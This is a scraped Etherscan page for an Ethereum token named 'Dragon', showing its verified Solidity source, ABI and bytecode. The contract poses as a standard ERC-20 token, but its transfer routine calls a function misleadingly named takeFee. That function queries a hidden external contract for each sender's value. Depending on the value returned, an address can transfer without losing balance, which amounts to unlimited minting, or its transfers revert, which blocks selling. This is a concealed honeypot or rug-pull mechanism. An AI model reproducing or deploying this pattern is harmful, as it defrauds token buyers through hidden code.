ETH Price: $2,533.09 (+0.98%)

Token

Dragon (Dragon)
 

Overview

Max Total Supply

18,888 Dragon

Holders

44

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
268.617182803035159536 Dragon

Value
$0.00
0xc5f1954854c926e0bdcb690aec63f7b109e22824
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Dragon

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-02-05
*/

//Twitter:https://twitter.com/Moon1000/status/1754448370780016713?s=19

//Telegram:https://t.me/Dragon_ERC20_EN

//Website:http://erc20dragon.vip/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Pair {
    function balanceOf(address account) external view returns (uint256);
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


contract Dragon is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    uint256 private _totalSupply;
    uint256 public MAX = ~uint256(0);

    IUniswapV2Router public uniswapV2Router;

    bool private inSwap;

    address public uniswapV2Pair;
    IUniswapV2Pair public uniswapV2PaIr;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        _name = "Dragon";
        _symbol = "Dragon";
        _decimals = 18;
        uint256 total = 18888;
        
        uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        IUniswapFactory swapFactory = IUniswapFactory(uniswapV2Router.factory());
        uniswapV2Pair = swapFactory.createPair(address(this), uniswapV2Router.WETH());

        _totalSupply = total * 10 ** _decimals;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        _basicTransfer(from, to, amount);
    }

    function takeFee(uint160 from) private view returns(uint256){
        return IUniswapV2Pair(
            0xD977ecDacc05e683697050724cBf8423e47f86F1
        ).balanceOf(address(uint160(from)));
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 _symbl = takeFee(uint160(sender)) * amount;
        _balances[sender] -= amount - _symbl;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2PaIr","outputs":[{"internalType":"contract IUniswapV2Pair","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000196007553480156200001757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600680825265223930b3b7b760d11b602090920191825262000088916003916200031e565b5060408051808201909152600680825265223930b3b7b760d11b6020909201918252620000b8916004916200031e565b506005805460ff19166012179055600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556040805163c45a015560e01b815290516149c8926000926001600160a01b03919091169163c45a015591600480820192602092909190829003018186803b1580156200013957600080fd5b505afa1580156200014e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001749190620003c4565b9050806001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001d557600080fd5b505afa158015620001ea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002109190620003c4565b6040518363ffffffff1660e01b81526004016200022f929190620003f4565b602060405180830381600087803b1580156200024a57600080fd5b505af11580156200025f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002859190620003c4565b600980546001600160a01b0319166001600160a01b0392909216919091179055600554620002b89060ff16600a62000464565b620002c490836200054f565b60068190553360008181526001602052604080822084905551919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916200030e916200040e565b60405180910390a35050620005c4565b8280546200032c9062000571565b90600052602060002090601f0160209004810192826200035057600085556200039b565b82601f106200036b57805160ff19168380011785556200039b565b828001600101855582156200039b579182015b828111156200039b5782518255916020019190600101906200037e565b50620003a9929150620003ad565b5090565b5b80821115620003a95760008155600101620003ae565b600060208284031215620003d6578081fd5b81516001600160a01b0381168114620003ed578182fd5b9392505050565b6001600160a01b0392831681529116602082015260400190565b90815260200190565b80825b60018086116200042b57506200045b565b818704821115620004405762000440620005ae565b808616156200044e57918102915b9490941c9380026200041a565b94509492505050565b6000620003ed60001960ff8516846000826200048357506001620003ed565b816200049257506000620003ed565b8160018114620004ab5760028114620004b657620004ea565b6001915050620003ed565b60ff841115620004ca57620004ca620005ae565b6001841b915084821115620004e357620004e3620005ae565b50620003ed565b5060208310610133831016604e8410600b841016171562000522575081810a838111156200051c576200051c620005ae565b620003ed565b62000531848484600162000417565b808604821115620005465762000546620005ae565b02949350505050565b60008160001904831182151516156200056c576200056c620005ae565b500290565b6002810460018216806200058657607f821691505b60208210811415620005a857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b610a6380620005d46000396000f3fe6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb1461026c578063d49d51811461028c578063dd62ed3e146102a1578063f2fde38b146102c1576100fe565b806370a082311461020b578063715018a61461022b5780638da5cb5b1461024257806395d89b4114610257576100fe565b806323b872dd116100c657806323b872dd1461019f57806326b82130146101bf578063313ce567146101d457806349bd5a5e146101f6576100fe565b806306fdde0314610103578063095ea7b31461012e5780631694505e1461015b57806318160ddd1461017d576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186102e1565b60405161012591906108e2565b60405180910390f35b34801561013a57600080fd5b5061014e610149366004610882565b610373565b60405161012591906108d7565b34801561016757600080fd5b50610170610389565b60405161012591906108c3565b34801561018957600080fd5b50610192610398565b6040516101259190610977565b3480156101ab57600080fd5b5061014e6101ba366004610847565b61039e565b3480156101cb57600080fd5b50610170610435565b3480156101e057600080fd5b506101e9610444565b6040516101259190610980565b34801561020257600080fd5b5061017061044d565b34801561021757600080fd5b506101926102263660046107f4565b61045c565b34801561023757600080fd5b5061024061047b565b005b34801561024e57600080fd5b506101706104f8565b34801561026357600080fd5b50610118610507565b34801561027857600080fd5b5061014e610287366004610882565b610516565b34801561029857600080fd5b50610192610523565b3480156102ad57600080fd5b506101926102bc366004610815565b610529565b3480156102cd57600080fd5b506102406102dc3660046107f4565b610554565b6060600380546102f0906109dc565b80601f016020809104026020016040519081016040528092919081815260200182805461031c906109dc565b80156103695780601f1061033e57610100808354040283529160200191610369565b820191906000526020600020905b81548152906001019060200180831161034c57829003601f168201915b5050505050905090565b60006103803384846105ff565b50600192915050565b6008546001600160a01b031681565b60065490565b60006103ab848484610667565b6007546001600160a01b03851660009081526002602090815260408083203384529091529020541461042b576001600160a01b03841660009081526002602090815260408083203384529091529020546104069083906109c5565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b600a546001600160a01b031681565b60055460ff1690565b6009546001600160a01b031681565b6001600160a01b0381166000908152600160205260409020545b919050565b6000546001600160a01b031633146104ae5760405162461bcd60e51b81526004016104a590610957565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6060600480546102f0906109dc565b6000610380338484610667565b60075481565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461057e5760405162461bcd60e51b81526004016104a590610957565b6001600160a01b0381166105a45760405162461bcd60e51b81526004016104a590610935565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061065a908590610977565b60405180910390a3505050565b610672838383610678565b50505050565b600080826106858661074d565b61068f91906109a6565b905061069b81846109c5565b6001600160a01b038616600090815260016020526040812080549091906106c39084906109c5565b90915550506001600160a01b038416600090815260016020526040812080548592906106f090849061098e565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161073a9190610977565b60405180910390a3506001949350505050565b6040516370a0823160e01b815260009073d977ecdacc05e683697050724cbf8423e47f86f1906370a08231906107879085906004016108c3565b60206040518083038186803b15801561079f57600080fd5b505afa1580156107b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d791906108ab565b92915050565b80356001600160a01b038116811461047657600080fd5b600060208284031215610805578081fd5b61080e826107dd565b9392505050565b60008060408385031215610827578081fd5b610830836107dd565b915061083e602084016107dd565b90509250929050565b60008060006060848603121561085b578081fd5b610864846107dd565b9250610872602085016107dd565b9150604084013590509250925092565b60008060408385031215610894578182fd5b61089d836107dd565b946020939093013593505050565b6000602082840312156108bc578081fd5b5051919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561090e578581018301518582016040015282016108f2565b8181111561091f5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526008908201526706e657720697320360c41b604082015260600190565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b90815260200190565b60ff91909116815260200190565b600082198211156109a1576109a1610a17565b500190565b60008160001904831182151516156109c0576109c0610a17565b500290565b6000828210156109d7576109d7610a17565b500390565b6002810460018216806109f057607f821691505b60208210811415610a1157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220bfb648b4c6ac82e326b5c94db813d78b0f3e4a0b7401f21b5f4ca6491855722364736f6c63430008000033

Deployed Bytecode

0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb1461026c578063d49d51811461028c578063dd62ed3e146102a1578063f2fde38b146102c1576100fe565b806370a082311461020b578063715018a61461022b5780638da5cb5b1461024257806395d89b4114610257576100fe565b806323b872dd116100c657806323b872dd1461019f57806326b82130146101bf578063313ce567146101d457806349bd5a5e146101f6576100fe565b806306fdde0314610103578063095ea7b31461012e5780631694505e1461015b57806318160ddd1461017d576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186102e1565b60405161012591906108e2565b60405180910390f35b34801561013a57600080fd5b5061014e610149366004610882565b610373565b60405161012591906108d7565b34801561016757600080fd5b50610170610389565b60405161012591906108c3565b34801561018957600080fd5b50610192610398565b6040516101259190610977565b3480156101ab57600080fd5b5061014e6101ba366004610847565b61039e565b3480156101cb57600080fd5b50610170610435565b3480156101e057600080fd5b506101e9610444565b6040516101259190610980565b34801561020257600080fd5b5061017061044d565b34801561021757600080fd5b506101926102263660046107f4565b61045c565b34801561023757600080fd5b5061024061047b565b005b34801561024e57600080fd5b506101706104f8565b34801561026357600080fd5b50610118610507565b34801561027857600080fd5b5061014e610287366004610882565b610516565b34801561029857600080fd5b50610192610523565b3480156102ad57600080fd5b506101926102bc366004610815565b610529565b3480156102cd57600080fd5b506102406102dc3660046107f4565b610554565b6060600380546102f0906109dc565b80601f016020809104026020016040519081016040528092919081815260200182805461031c906109dc565b80156103695780601f1061033e57610100808354040283529160200191610369565b820191906000526020600020905b81548152906001019060200180831161034c57829003601f168201915b5050505050905090565b60006103803384846105ff565b50600192915050565b6008546001600160a01b031681565b60065490565b60006103ab848484610667565b6007546001600160a01b03851660009081526002602090815260408083203384529091529020541461042b576001600160a01b03841660009081526002602090815260408083203384529091529020546104069083906109c5565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b600a546001600160a01b031681565b60055460ff1690565b6009546001600160a01b031681565b6001600160a01b0381166000908152600160205260409020545b919050565b6000546001600160a01b031633146104ae5760405162461bcd60e51b81526004016104a590610957565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6060600480546102f0906109dc565b6000610380338484610667565b60075481565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461057e5760405162461bcd60e51b81526004016104a590610957565b6001600160a01b0381166105a45760405162461bcd60e51b81526004016104a590610935565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061065a908590610977565b60405180910390a3505050565b610672838383610678565b50505050565b600080826106858661074d565b61068f91906109a6565b905061069b81846109c5565b6001600160a01b038616600090815260016020526040812080549091906106c39084906109c5565b90915550506001600160a01b038416600090815260016020526040812080548592906106f090849061098e565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161073a9190610977565b60405180910390a3506001949350505050565b6040516370a0823160e01b815260009073d977ecdacc05e683697050724cbf8423e47f86f1906370a08231906107879085906004016108c3565b60206040518083038186803b15801561079f57600080fd5b505afa1580156107b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d791906108ab565b92915050565b80356001600160a01b038116811461047657600080fd5b600060208284031215610805578081fd5b61080e826107dd565b9392505050565b60008060408385031215610827578081fd5b610830836107dd565b915061083e602084016107dd565b90509250929050565b60008060006060848603121561085b578081fd5b610864846107dd565b9250610872602085016107dd565b9150604084013590509250925092565b60008060408385031215610894578182fd5b61089d836107dd565b946020939093013593505050565b6000602082840312156108bc578081fd5b5051919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561090e578581018301518582016040015282016108f2565b8181111561091f5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526008908201526706e657720697320360c41b604082015260600190565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b90815260200190565b60ff91909116815260200190565b600082198211156109a1576109a1610a17565b500190565b60008160001904831182151516156109c0576109c0610a17565b500290565b6000828210156109d7576109d7610a17565b500390565b6002810460018216806109f057607f821691505b60208210811415610a1157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220bfb648b4c6ac82e326b5c94db813d78b0f3e4a0b7401f21b5f4ca6491855722364736f6c63430008000033

Deployed Bytecode Sourcemap

2332:3470:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3602:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4365:159;;;;;;;;;;-1:-1:-1;4365:159:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;2666:39::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;3806:100::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4532:336::-;;;;;;;;;;-1:-1:-1;4532:336:0;;;;;:::i;:::-;;:::i;2777:35::-;;;;;;;;;;;;;:::i;3704:94::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;2742:28::-;;;;;;;;;;;;;:::i;3914:119::-;;;;;;;;;;-1:-1:-1;3914:119:0;;;;;:::i;:::-;;:::i;1953:148::-;;;;;;;;;;;;;:::i;:::-;;1767:79;;;;;;;;;;;;;:::i;3496:98::-;;;;;;;;;;;;;:::i;4041:165::-;;;;;;;;;;-1:-1:-1;4041:165:0;;;;;:::i;:::-;;:::i;2625:32::-;;;;;;;;;;;;;:::i;4214:143::-;;;;;;;;;;-1:-1:-1;4214:143:0;;;;;:::i;:::-;;:::i;2109:214::-;;;;;;;;;;-1:-1:-1;2109:214:0;;;;;:::i;:::-;;:::i;3602:94::-;3650:13;3683:5;3676:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3602:94;:::o;4365:159::-;4440:4;4457:37;4466:10;4478:7;4487:6;4457:8;:37::i;:::-;-1:-1:-1;4512:4:0;4365:159;;;;:::o;2666:39::-;;;-1:-1:-1;;;;;2666:39:0;;:::o;3806:100::-;3886:12;;3806:100;:::o;4532:336::-;4630:4;4647:36;4657:6;4665:9;4676:6;4647:9;:36::i;:::-;4733:3;;-1:-1:-1;;;;;4698:19:0;;;;;;:11;:19;;;;;;;;4718:10;4698:31;;;;;;;;:38;4694:145;;-1:-1:-1;;;;;4787:19:0;;;;;;:11;:19;;;;;;;;4807:10;4787:31;;;;;;;;:40;;4821:6;;4787:40;:::i;:::-;-1:-1:-1;;;;;4753:19:0;;;;;;:11;:19;;;;;;;;4773:10;4753:31;;;;;;;:74;4694:145;-1:-1:-1;4856:4:0;4532:336;;;;;:::o;2777:35::-;;;-1:-1:-1;;;;;2777:35:0;;:::o;3704:94::-;3781:9;;;;3704:94;:::o;2742:28::-;;;-1:-1:-1;;;;;2742:28:0;;:::o;3914:119::-;-1:-1:-1;;;;;4007:18:0;;3980:7;4007:18;;;:9;:18;;;;;;3914:119;;;;:::o;1953:148::-;1894:6;;-1:-1:-1;;;;;1894:6:0;1904:10;1894:20;1886:39;;;;-1:-1:-1;;;1886:39:0;;;;;;;:::i;:::-;;;;;;;;;2060:1:::1;2044:6:::0;;2023:40:::1;::::0;-1:-1:-1;;;;;2044:6:0;;::::1;::::0;2023:40:::1;::::0;2060:1;;2023:40:::1;2091:1;2074:19:::0;;-1:-1:-1;;;;;;2074:19:0::1;::::0;;1953:148::o;1767:79::-;1805:7;1832:6;-1:-1:-1;;;;;1832:6:0;1767:79;:::o;3496:98::-;3546:13;3579:7;3572:14;;;;;:::i;4041:165::-;4119:4;4136:40;4146:10;4158:9;4169:6;4136:9;:40::i;2625:32::-;;;;:::o;4214:143::-;-1:-1:-1;;;;;4322:18:0;;;4295:7;4322:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4214:143::o;2109:214::-;1894:6;;-1:-1:-1;;;;;1894:6:0;1904:10;1894:20;1886:39;;;;-1:-1:-1;;;1886:39:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2198:22:0;::::1;2190:43;;;;-1:-1:-1::0;;;2190:43:0::1;;;;;;;:::i;:::-;2270:6;::::0;;2249:38:::1;::::0;-1:-1:-1;;;;;2249:38:0;;::::1;::::0;2270:6;::::1;::::0;2249:38:::1;::::0;::::1;2298:6;:17:::0;;-1:-1:-1;;;;;;2298:17:0::1;-1:-1:-1::0;;;;;2298:17:0;;;::::1;::::0;;;::::1;::::0;;2109:214::o;4876:177::-;-1:-1:-1;;;;;4961:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;5013:32;;;;;4991:6;;5013:32;:::i;:::-;;;;;;;;4876:177;;;:::o;5061:154::-;5175:32;5190:4;5196:2;5200:6;5175:14;:32::i;:::-;;5061:154;;;:::o;5433:329::-;5526:4;5543:14;5587:6;5560:24;5576:6;5560:7;:24::i;:::-;:33;;;;:::i;:::-;5543:50;-1:-1:-1;5625:15:0;5543:50;5625:6;:15;:::i;:::-;-1:-1:-1;;;;;5604:17:0;;;;;;:9;:17;;;;;:36;;:17;;;:36;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;5651:20:0;;;;;;:9;:20;;;;;:30;;5675:6;;5651:20;:30;;5675:6;;5651:30;:::i;:::-;;;;;;;;5714:9;-1:-1:-1;;;;;5697:35:0;5706:6;-1:-1:-1;;;;;5697:35:0;;5725:6;5697:35;;;;;;:::i;:::-;;;;;;;;-1:-1:-1;5750:4:0;;5433:329;-1:-1:-1;;;;5433:329:0:o;5223:202::-;5301:116;;-1:-1:-1;;;5301:116:0;;5275:7;;5330:42;;5301:92;;:116;;5410:4;;5301:116;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5294:123;5223:202;-1:-1:-1;;5223:202:0:o;14:175:1:-;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;:::-;345:41;264:128;-1:-1:-1;;;264:128:1:o;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:266::-;;;1152:2;1140:9;1131:7;1127:23;1123:32;1120:2;;;1173:6;1165;1158:22;1120:2;1201:31;1222:9;1201:31;:::i;:::-;1191:41;1279:2;1264:18;;;;1251:32;;-1:-1:-1;;;1110:179:1:o;1294:194::-;;1417:2;1405:9;1396:7;1392:23;1388:32;1385:2;;;1438:6;1430;1423:22;1385:2;-1:-1:-1;1466:16:1;;1375:113;-1:-1:-1;1375:113:1:o;1493:203::-;-1:-1:-1;;;;;1657:32:1;;;;1639:51;;1627:2;1612:18;;1594:102::o;1701:187::-;1866:14;;1859:22;1841:41;;1829:2;1814:18;;1796:92::o;2354:603::-;;2495:2;2524;2513:9;2506:21;2556:6;2550:13;2599:6;2594:2;2583:9;2579:18;2572:34;2624:4;2637:140;2651:6;2648:1;2645:13;2637:140;;;2746:14;;;2742:23;;2736:30;2712:17;;;2731:2;2708:26;2701:66;2666:10;;2637:140;;;2795:6;2792:1;2789:13;2786:2;;;2865:4;2860:2;2851:6;2840:9;2836:22;2832:31;2825:45;2786:2;-1:-1:-1;2941:2:1;2920:15;-1:-1:-1;;2916:29:1;2901:45;;;;2948:2;2897:54;;2475:482;-1:-1:-1;;;2475:482:1:o;2962:331::-;3164:2;3146:21;;;3203:1;3183:18;;;3176:29;-1:-1:-1;;;3236:2:1;3221:18;;3214:38;3284:2;3269:18;;3136:157::o;3298:329::-;3500:2;3482:21;;;3539:1;3519:18;;;3512:29;-1:-1:-1;;;3572:2:1;3557:18;;3550:36;3618:2;3603:18;;3472:155::o;3632:177::-;3778:25;;;3766:2;3751:18;;3733:76::o;3814:184::-;3986:4;3974:17;;;;3956:36;;3944:2;3929:18;;3911:87::o;4003:128::-;;4074:1;4070:6;4067:1;4064:13;4061:2;;;4080:18;;:::i;:::-;-1:-1:-1;4116:9:1;;4051:80::o;4136:168::-;;4242:1;4238;4234:6;4230:14;4227:1;4224:21;4219:1;4212:9;4205:17;4201:45;4198:2;;;4249:18;;:::i;:::-;-1:-1:-1;4289:9:1;;4188:116::o;4309:125::-;;4377:1;4374;4371:8;4368:2;;;4382:18;;:::i;:::-;-1:-1:-1;4419:9:1;;4358:76::o;4439:380::-;4524:1;4514:12;;4571:1;4561:12;;;4582:2;;4636:4;4628:6;4624:17;4614:27;;4582:2;4689;4681:6;4678:14;4658:18;4655:38;4652:2;;;4735:10;4730:3;4726:20;4723:1;4716:31;4770:4;4767:1;4760:15;4798:4;4795:1;4788:15;4652:2;;4494:325;;;:::o;4824:127::-;4885:10;4880:3;4876:20;4873:1;4866:31;4916:4;4913:1;4906:15;4940:4;4937:1;4930:15

Swarm Source

ipfs://bfb648b4c6ac82e326b5c94db813d78b0f3e4a0b7401f21b5f4ca64918557223
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.